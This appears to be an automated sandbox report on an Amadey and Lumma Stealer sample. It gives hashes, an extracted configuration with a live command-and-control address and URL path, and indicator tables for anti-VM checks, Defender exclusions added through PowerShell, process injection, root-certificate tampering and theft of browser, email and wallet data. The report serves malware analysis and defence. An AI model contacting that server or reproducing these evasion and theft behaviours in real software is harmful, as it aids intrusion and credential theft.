amadey | 6b6ee9cae47a7d7d51218397669ea2644853643e8d7557b20a90dc49e203893e

Analysis

max time kernel
149s
max time network
152s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-12-2024 15:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

2.9MB
MD5

dac73e7813dc3500e5f677b5f31191df
SHA1

bf5eaa68905a19d7cda4cc824267d5fbfc27785a
SHA256

6b6ee9cae47a7d7d51218397669ea2644853643e8d7557b20a90dc49e203893e
SHA512

7e26aa8fa617887d322ff823d6133dc677cd6c7e5ff2d1b14f6db689dff185e4f668802037bcd38e2134965892f71aabb4b274ae5568adb6e2ad065f93d593ba
SSDEEP

49152:CdKtEEZolFDH6eU4kCfdnZlAVVXmZUiUHHUw0aAVP:ntEEZuFDaeU4kCfhZloXmVy0

Score

10^/10

amadey lumma 9c9aa5 discovery evasion execution spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	VR6f3vF.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ANEDNjf.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	6d9f15de34.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1888	powershell.exe
1536	powershell.exe
440	powershell.exe
1088	powershell.exe
8804	powershell.exe
9440	powershell.exe
2676	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6d9f15de34.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VR6f3vF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ANEDNjf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6d9f15de34.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VR6f3vF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ANEDNjf.exe

Executes dropped EXE 17 IoCs

pid	Process
1244	skotes.exe
1304	Cq6Id6x.exe
2496	VR6f3vF.exe
772	kf5cl0F.exe
896	ANEDNjf.exe
1304	zudFSfy.exe
1756	kz8ZdyP.exe
2172	NN9Dd7c.exe
568	zudFSfy.exe
1196	zudFSfy.exe
8584	6d9f15de34.exe
8776	kz8ZdyP.exe
9948	49c14bed00.exe
10100	49c14bed00.exe
10112	49c14bed00.exe
10008	ga70pjP.exe
2040	f67140654f.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	VR6f3vF.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	ANEDNjf.exe
Key opened	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Wine	6d9f15de34.exe

Loads dropped DLL 33 IoCs

pid	Process
1704	file.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1244	skotes.exe
1304	zudFSfy.exe
1304	zudFSfy.exe
1244	skotes.exe
1244	skotes.exe
1756	kz8ZdyP.exe
1244	skotes.exe
1244	skotes.exe
9948	49c14bed00.exe
9948	49c14bed00.exe
1244	skotes.exe
3088	MsiExec.exe
2104	rundll32.exe
2104	rundll32.exe
2104	rundll32.exe
2104	rundll32.exe
2104	rundll32.exe
2104	rundll32.exe
2104	rundll32.exe
2104	rundll32.exe
2104	rundll32.exe
1244	skotes.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0009000000016101-27.dat	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
1704	file.exe
1244	skotes.exe
2496	VR6f3vF.exe
896	ANEDNjf.exe
8584	6d9f15de34.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1304 set thread context of 1196	1304	zudFSfy.exe	54
PID 1756 set thread context of 8776	1756	kz8ZdyP.exe	56
PID 9948 set thread context of 10112	9948	49c14bed00.exe	59

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	file.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File created	C:\Windows\Installer\f790187.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\f790187.msi	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VR6f3vF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kz8ZdyP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f67140654f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ga70pjP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kf5cl0F.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kz8ZdyP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NN9Dd7c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ANEDNjf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zudFSfy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	49c14bed00.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zudFSfy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6d9f15de34.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	49c14bed00.exe

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	ANEDNjf.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	6d9f15de34.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	6d9f15de34.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	ANEDNjf.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	ANEDNjf.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
1704	file.exe
1244	skotes.exe
2676	powershell.exe
2496	VR6f3vF.exe
772	kf5cl0F.exe
1888	powershell.exe
1536	powershell.exe
896	ANEDNjf.exe
896	ANEDNjf.exe
896	ANEDNjf.exe
896	ANEDNjf.exe
896	ANEDNjf.exe
2172	NN9Dd7c.exe
440	powershell.exe
1088	powershell.exe
1304	zudFSfy.exe
1304	zudFSfy.exe
1196	zudFSfy.exe
1196	zudFSfy.exe
8584	6d9f15de34.exe
8776	kz8ZdyP.exe
8776	kz8ZdyP.exe
9948	49c14bed00.exe
9948	49c14bed00.exe
10112	49c14bed00.exe
10112	49c14bed00.exe
2040	f67140654f.exe
8804	powershell.exe
9440	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	772	kf5cl0F.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	2172	NN9Dd7c.exe
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeDebugPrivilege	1304	zudFSfy.exe
Token: SeDebugPrivilege	1196	zudFSfy.exe
Token: SeDebugPrivilege	8776	kz8ZdyP.exe
Token: SeDebugPrivilege	9948	49c14bed00.exe
Token: SeDebugPrivilege	10112	49c14bed00.exe
Token: SeDebugPrivilege	10008	ga70pjP.exe
Token: SeShutdownPrivilege	5560	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5560	msiexec.exe
Token: SeRestorePrivilege	8036	msiexec.exe
Token: SeTakeOwnershipPrivilege	8036	msiexec.exe
Token: SeSecurityPrivilege	8036	msiexec.exe
Token: SeCreateTokenPrivilege	5560	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5560	msiexec.exe
Token: SeLockMemoryPrivilege	5560	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5560	msiexec.exe
Token: SeMachineAccountPrivilege	5560	msiexec.exe
Token: SeTcbPrivilege	5560	msiexec.exe
Token: SeSecurityPrivilege	5560	msiexec.exe
Token: SeTakeOwnershipPrivilege	5560	msiexec.exe
Token: SeLoadDriverPrivilege	5560	msiexec.exe
